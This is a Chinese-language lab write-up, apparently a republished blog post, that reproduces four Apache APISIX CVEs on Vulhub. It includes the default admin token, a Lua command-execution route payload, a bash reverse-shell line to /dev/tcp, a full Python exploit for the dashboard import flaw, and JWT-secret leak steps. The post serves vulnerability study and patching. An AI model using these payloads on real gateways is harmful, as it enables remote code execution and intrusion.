Apache Apisix网关系统历史漏洞复现分析

文章目录

  • 前言
  • CVE-2020-13945默认api令牌
  • CVE-2021-45232未授权接口
    • 2.1 默认账户密码导致RCE
    • 2.2 未授权访问api接口RCE
  • CVE-2022-24112 地址限制绕过
  • CVE-2022-29266 JWT令牌伪造
    • 4.1 漏洞源码简析与修复
    • 4.2 漏洞环境搭建与复现
  • 总结

前言

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。

  1. 开源项目地址:https://github.com/apache/apisix;
  2. 官方文档地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/;

你可以把 Apache APISIX 当做流量入口,来处理所有的业务数据,包括动态路由、动态上游、动态证书、金丝雀发布(灰度发布)、限流限速、抵御恶意攻击、监控报警、服务可观测性、服务治理等。
imagepng
Fofa 搜索语法:

title="Apache APISIX"

渗透测试基本信息:

APISIX 系统默认端口默认凭据或口令
Apache APISIX9080edd1c9f034335f136f87ad84b625c8f1
Apache APISIX Dashboard9000admin/admin

官方推荐的快速安装 APISIX:

curl -sL https://run.api7.ai/apisix/quickstart | sh
# 验证安装是否成功
curl "http://127.0.0.1:9080" --head | grep Server

imagepng
imagepng
【创建路由】

通过下面的命令,你将创建一个路由,把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip:

root@ubuntu:~/Desktop$ curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d '
{"id": "getting-started-ip","uri": "/ip","upstream": {"type": "roundrobin","nodes": {"httpbin.org:80": 1}}
}'
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3{"key":"/apisix/routes/getting-started-ip","value":{"upstream":{"scheme":"http","nodes":{"httpbin.org:80":1},"type":"roundrobin","pass_host":"pass","hash_on":"vars"},"id":"getting-started-ip","priority":0,"update_time":1708220748,"uri":"/ip","status":1,"create_time":1708220748}}
root@ubuntu:~/Desktop$ 
root@ubuntu:~/Desktop$ curl "http://127.0.0.1:9080/ip"
{"origin": "XXX.XXX.XXX.21"
}
root@ubuntu:~/Desktop$ 

【部署 APISIX Dashboard】

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。官方项目地址:https://github.com/apache/apisix-dashboard。

docker pull apache/apisix-dashboard
docker run -d --name dashboard \-p 9000:9000        \-v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml \apache/apisix-dashboard

此处安装失败,原因不详,从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。

CVE-2020-13945默认api令牌

Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下,Apache APISIX 将使用默认的管理员 Token:edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个 Token 可以访问到管理员接口,进而通过 script 参数来插入任意 LUA 脚本并执行。

该默认令牌配置文件位于:https://github.com/apache/apisix/blob/master/conf/config.yaml, 这是一个默认配置导致的安全问题,实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞,而是给出了安全提醒:
imagepng
【环境搭建】

基于 Vulhub 快速搭建靶场环境(https://vulhub.org/#/environments/apisix/CVE-2020-13945/):
imagepng
环境启动后,访问 http://your-ip:9080 即可查看到默认的 404 页面。
imagepng
【漏洞复现】

利用默认 Token 增加一个恶意的 router( 该 API 接口详细参数请参见官方文档:Admin API | Apache APISIX),其中包含恶意 LUA 脚本:

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

imagepng
然后,我们访问刚才添加的 router,就可以通过 cmd 参数执行任意命令:http://your-ip:9080/attack?cmd=id
imagepng
imagepng
【其他管理接口】

Admin API (https://apisix.apache.org/zh/docs/apisix/admin-api)是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力,资源配置完成后 APISIX 将会自动更新配置,无需重启服务。

以“获取资源列表”的接口 /apisix/admin/consumers 为例:
imagepng
imagepng

CVE-2021-45232未授权接口

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API:/apisix/admin/migrate/export/apisix/admin/migrate/import,它们没有经过 droplet 框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让 Apache APISIX 访问任意网站,甚至执行 LUA 脚本。

继续使用 Vulhub 一键搭建靶场环境:
imagepng
然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面:
imagepng

2.1 默认账户密码导致RCE

官方默认登录账户密码 admin/admin(Vulhub 镜像的密码为 vulhub):
imagepng
其实实战中如果没有敏感接口的未授权访问漏洞的话,是可以通过弱密码登录后台进行 RCE 的,接下来先看看进入后台后如何完成 RCE。

1、 先创建任意名称的上游服务,请注意目标节点信息后面触发 RCE 会用到:
imagepng
2、 接着创建路由,把选择上游服务选择为上面的创造的上游:
imagepng
3、访问上述创建的路由,通过“查看”修改配置,添加反弹 Shell 的 Lua Script:
imagepng
imagepng
提交修改请求(API 接口参数释义请参见:https://apisix.apache.org/zh/docs/apisix/admin-api/#route),数据包如下:

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close{"uri":"/*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream_id":"501154557745693377","status":1}

4、接着访问:http://127.0.0.1:9080/rce,即可触发命令执行实现 RCE:
imagepng
imagepng
【More】创建路由时并非强制选择上游服务,故上述创建上游服务的步骤也可以直接忽略,直接创建路由并指定一个有效的目标节点(主机名+有效业务端口)接口,比如:
imagepng

2.2 未授权访问api接口RCE

此漏洞的鉴权缺陷源码分析可参见:https://xz.aliyun.com/t/10732。

那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。

我们可以使用 /apisix/admin/migrate/export 直接导出配置文件,删除 Authorization 字段后发现是可以正常未授权访问的:
imagepng
接下来利用另一个接口导入恶意配置即可实现 RCE,但是从上面导出的配置数据可以看到,后面多出四个字节,这 4 个字节其实是配置文件的 checksum 值,在导入配置文件时,也会对配置文件的 checksum 值进行校验,那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。

简单起见,直接利用 Github 现成的 POC 验证程序即可:https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)eval_config = {"Counsumers": [],"Routes": [{"id": str(random.randint(100000000000000000, 1000000000000000000)),"create_time": 1640674554,"update_time": 1640677637,"uris": ["/rce"],"name": "rce","methods": ["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)","status": 1}],"Services": [],"SSLs": [],"Upstreams": [],"Scripts": [],"GlobalPlugins": [],"PluginConfigs": []
}def random_str():return ''.join(random.choices(string.ascii_letters + string.digits, k=6))def calc_crc(data):crc32 = zlib.crc32(data) & 0xffffffffreturn crc32.to_bytes(4, byteorder="big")def export_data(url):r = requests.get(url + "/apisix/admin/migrate/export", verify=False)return r.text[:-4]def import_data(url, data):data = json.dumps(data).encode()crc32 = calc_crc(data)files = {"file": ("data", data + crc32, "text/data")}resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)# print(resp.text)if resp.json().get("code", -1) == 0:return Trueelse:return Falseif __name__ == "__main__":if len(sys.argv) != 2:print("python " + sys.argv[0] + " http://127.0.0.1:9000")exit()url = sys.argv[1]if url.endswith("/"):url = url[:-1]uri = random_str()eval_config["Routes"][0]["uris"] = [ "/" + uri]eval_config["Routes"][0]["name"] = uriif import_data(url, eval_config):print("attack success")print("uri is: " + "/" + uri)else:print("attack error")

脚本攻击效果演示如下(注意执行命令时应更换为 9080 端口):
imagepng
回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由:
imagepng

CVE-2022-24112 地址限制绕过

官方发布的漏洞信息:https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。
imagepng
此漏洞相对比较鸡肋,主要是用于绕过 IP 地址访问限制,漏洞利用条件是目标系统使用了默认的 Admin Key(即 CVE-2020-13945 中的 X-API-KEY),此处暂不复现。

参考文章:

  1. CVE-2022-24112 Apache APISIX 远程代码执行漏洞;
  2. CVE-2022-24112:Apache APISIX 命令执行漏洞 - 华盟学院;
  3. https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py;

CVE-2022-29266 JWT令牌伪造

在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret,进而伪造有效的 JWT 会话凭证来非法访问 API 接口。

漏洞分析参考文章:《APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏》。

4.1 漏洞源码简析与修复

通过 Apache 官方提交的修复记录 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的问题点:
imagepng
修改代码将 401 返回的附加信息 jwt_obj.reason 删除,变更为本地日志打印。可以在 lua-resty-jwt 库(https://github.com/SkyLothar/lua-resty-jwt)中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
imagepng
此处借用 TeamsSix 的分析总结,漏洞利用的前提有以下三个:

  • APISIX 需要开启 jwt-auth 插件;
  • jwt-auth 插件算法需要是 HS256 或者 HS512;
  • secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串;

如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。

4.2 漏洞环境搭建与复现

漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可,APISIX 版本为 2.9,符合漏洞条件。
imagepng

此漏洞涉及 JWT 令牌的相关知识,不熟悉 JWT 基础安全知识的话请参见《Web安全-JWT认证机制安全性浅析》,关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《Nacos系统历史CVE漏洞的复现分析与检测》中的“QVD-2023-6271默认密钥”章节。

一键搭建完 Vulhub 的漏洞环境后,进入 dashboard 创建消费者,启用 jwt-auth 认证机制:

Consumer(也称之为消费者)是指使用 API 的应用或开发人员。在 APISIX 中,消费者需要一个全局唯一的 名称,并从上面的列表中选择一个身份验证 插件

imagepng
imagepng
{ "key": "tr0e", "secret": "passwd123456789" } 填写到编辑器里,值的话可以随便写,算法的默认配置是 HS256 。
imagepng
创建完消费者 tr0e 以后,开始创建路由:
imagepng
imagepng
同样需要启用 jwt-auth 插件:
imagepng
imagepng
提交并完成路由配置:
imagepng
【验证 JWT 插件】

从官方指导文档:https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到,启用了 jwt-auth 插件后,会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令,参数 key 的值就是刚刚在创建 consumer 时配置的 key 值,通过访问这个 api 即可获取到 JWT 认证凭据:
imagepng
携带获得的 JWT 凭据发起对应配置的 /tr0e666 路由的请求,未返回 401 即代表鉴权成功:
imagepng
将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息,其中 exp 是 JWT 的有效时间限制:
imagepng
【漏洞复现】

JSON Web Tokens 网站 https://jwt.io/#debugger-io 可以帮助我们快速构建 JWT 凭据。

需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。

{"key": "tr0e"}

imagepng
然后将上面拿到的 JWT 凭据发起访问受保护的路由的请求:

root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H 'Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI_c6_rKl-1KLPT7cWe0X7LOdeyOR0C4F_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg' -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9{"message":"Decode secret is not a valid cert\/public key: passwd123456789"}
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 

imagepng
此时拿到 JWT 的 Secret(即 passwd123456789)后,即可自行颁发有效的 JWT:
imagepng
拿着自生成的 JWT 凭证成功访问受保护的路由:
image.png

总结

Apache APISIX 作为一个动态、实时、高性能的云原生 API 网关,提供了负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。本文总计、复现可 Apache APISIX 网关系统的几个历史 CVE 漏洞。

Apache APISIX 被广泛应用于各大企业的云服务业务,因而也成为各类攻防演练的关注对象。作为运维人员或开发人员,应当及时更新 APISIX 的版本,避免系统因未及时覆盖安全补丁导致系统被入侵。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/261252.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

qt for python创建UI界面

现在很多库都有用到python,又想使用QT creater创作界面&#xff0c;来使用。 1.使用的版本 使用虚拟机安装Ubuntu22.04&#xff0c;Ubuntu使用命令行安装qt,默认安装的是QT5&#xff0c;不用来回调了&#xff0c;就用系统默认的吧&#xff0c;不然安装工具都要费不少事情。pyt…

Docker 第十四章 : Docker 三剑客之 Machine

第十四章 : Docker 三剑客之 Machine 本章知识点: Docker Machine 是 Docker 三剑客之一,它是一个工具,允许用户在本地或远程机器上创建 Docker 主机。它简化了 Docker 环境的设置,特别是在不同的操作系统和云平台上。通过 Docker Machine,用户可以轻松地在虚拟机或物理…

人为物累,心为形役

一、人是什么 你是你&#xff0c;他是他&#xff0c;我是我&#xff0c;有什么区别吗&#xff0c;直到自我发现我与你不同时&#xff0c;不同是什么&#xff0c;身体结构&#xff1f;人生经历&#xff1f;所拥有的一切&#xff1f;暂时搁置这些的话&#xff0c;抽离我们的意识…

在VS里使用C#制作窗口应用

新建项目 创建项目的时候搜索net&#xff0c;选择这个。 打开应该是这样 第一个控件 选择公共控件 - PictureBox - 拖入Form 在Image处选择上传本地资源&#xff0c;建议上传一个小一点的图片。 修改一下尺寸。 ctrls 保存 从“属性”切换到“事件” 双击Click事件…

09、全文检索 -- Solr -- SpringBoot 整合 Spring Data Solr (生成DAO组件 和 实现自定义查询方法)

目录 SpringBoot 整合 Spring Data SolrSpring Data Solr的功能&#xff08;生成DAO组件&#xff09;&#xff1a;Spring Data Solr大致包括如下几方面功能&#xff1a;Query查询&#xff08;属于半自动&#xff09;代码演示&#xff1a;1、演示通过dao组件来保存文档1、实体类…

⭐北邮复试刷题429. N 叉树的层序遍历(按层入队出队BFS)(力扣每日一题)

429. N 叉树的层序遍历 给定一个 N 叉树&#xff0c;返回其节点值的层序遍历。&#xff08;即从左到右&#xff0c;逐层遍历&#xff09;。 树的序列化输入是用层序遍历&#xff0c;每组子节点都由 null 值分隔&#xff08;参见示例&#xff09;。 示例 1&#xff1a;输入&a…

Java基于SpringBoot+Vue的图书管理系统

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

第六十四天 服务攻防-框架安全CVE复现Apache shiroApache Solr

第六十四天 服务攻防-框架安全&CVE复现Apache shiro&Apache Solr 知识点: 中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic.JBoos,WebSphere, Jenkins,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring, Flask,jQuery等 1、开发框…

USART(串口发送接受单字节)

一、硬件 差分信号不需要太大的压差。在相同的电磁干扰的环境下&#xff0c;因为是双扭线&#xff0c;两根线受干扰的程度是一样的&#xff0c;所以压差相对不变。提高抗干扰能力。485是双绞线传输取的是两线的压差。一般来说受干扰后同步变化&#xff0c;比如都升0.5V或都降5…

OpenAI 发布文生视频模型 Sora,普通人应该怎么做才能利益最大化?

原文链接&#xff1a; OpenAI 发布文生视频模型 Sora&#xff0c;普通人应该怎么做才能利益最大化&#xff1f; 自从 2022 年 11 月 30 日 ChatGPT 发布之后&#xff0c;每次 OpenAI 再发布新功能都跟过年一样&#xff0c;那叫一个热闹。 包括 GPT 4.0&#xff0c;GPT Store&…

SG3225EAN规格书

SG3225EAN 晶体振荡器利用先进的锁相环技术和AT切割晶体单元&#xff0c;提供了宽频率范围和高性能LV-PECL输出&#xff0c;73.5 MHz至700 MHz的宽频率范围&#xff0c;能够保证高稳定性和宽频率调整的能力&#xff0c;适应于多样化的应用需求。2.5V和3.3V两种供电电压&#xf…

压缩感知常用的重建算法

重建算法的基本概念 在压缩感知&#xff08;Compressed Sensing, CS&#xff09;框架中&#xff0c;重建算法是指将从原始信号中以低于奈奎斯特率采集得到的压缩测量值恢复成完整信号的数学和计算过程。由于信号在采集过程中被压缩&#xff0c;因此重建算法的目标是找到最符合…

强化学习策略梯度推导

本文主角&#xff1a; ∇ θ J ( θ ) ∝ ∑ s ∈ S μ π θ ( s ) ∑ a ∈ A Q π θ ( s , a ) ∇ θ π θ ( a ∣ s ) \nabla_{\theta}J(\theta) \propto \sum_{s \in \mathcal{S}} \mu^{\pi_{\theta}}(s) \sum_{a \in \mathcal{A}} Q^{\pi_{\theta}}(s, a) \nabla_{\thet…

Unity UGUI的DrawCall优化

Unity UGUI是一种强大的用户界面设计工具&#xff0c;它可以帮助开发者快速创建各种界面元素&#xff0c;从按钮和文本到滑块和面板等。然而&#xff0c;在使用UGUI时&#xff0c;一个常见的性能瓶颈就是DrawCall过多导致的性能下降。在本文中&#xff0c;我们将深入探讨UGUI的…

华为配置直连三层组网直接转发示例

华为配置直连三层组网直接转发示例 组网图形 图1 配置直连三层组网直接转发示例组网图 业务需求组网需求数据规划配置思路配置注意事项操作步骤配置文件扩展阅读 业务需求 企业用户接入WLAN网络&#xff0c;以满足移动办公的最基本需求。且在覆盖区域内移动发生漫游时&#xff…

springboot206基于SpringBoot的农商对接系统的设计与实现

基于Spring Boot的农商对接系统的设计与实现 Design and implementation of agricultural business docking system based on Spring Boot 摘 要 如今社会上各行各业&#xff0c;都喜欢用自己行业的专属软件工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离…

Vue 实现当前页的刷新

Vue 在缓存的基础上实现当前页的刷新 前进刷新&#xff0c;后退不刷新 一、Bus的实现 Bus.js 二、利用Bus实现不同页面的事件传播 1.引入Bus.js&#xff08;传递&#xff09;例如&#xff1a;A页面 2.引入Bus.js&#xff08;接收&#xff09;例如&#xff1a;B页面 3.路由组件设…

appium实现自动化测试原理

目录 1、Appium原理 1.1、Android Appium原理图文解析 1.1.2、原理详解 1.1.2.1、脚本端 1.1.2.2、appium-server 1.1.2.3、中间件bootstrap.jar 1.1.2.4、驱动引擎uiautomator 1.2、 IOS Appium原理 1、Appium原理 1.1、Android Appium原理图文解析 执行测试脚本全过…

OpenGL学习——17.模型

前情提要&#xff1a;本文代码源自Github上的学习文档“LearnOpenGL”&#xff0c;我仅在源码的基础上加上中文注释。本文章不以该学习文档做任何商业盈利活动&#xff0c;一切著作权归原作者所有&#xff0c;本文仅供学习交流&#xff0c;如有侵权&#xff0c;请联系我删除。L…

【递归】【后续遍历】【迭代】【队列】Leetcode 101 对称二叉树 100. 相同的树

【递归】【后续遍历】Leetcode 101 对称二叉树 100 相同的树 101. 对称二叉树解法一&#xff1a; 递归&#xff1a;后序遍历 左右中解法二&#xff1a; 迭代法&#xff0c;用了单端队列 100. 相同的树解法一&#xff1a;深度优先 ---------------&#x1f388;&#x1f388;对称…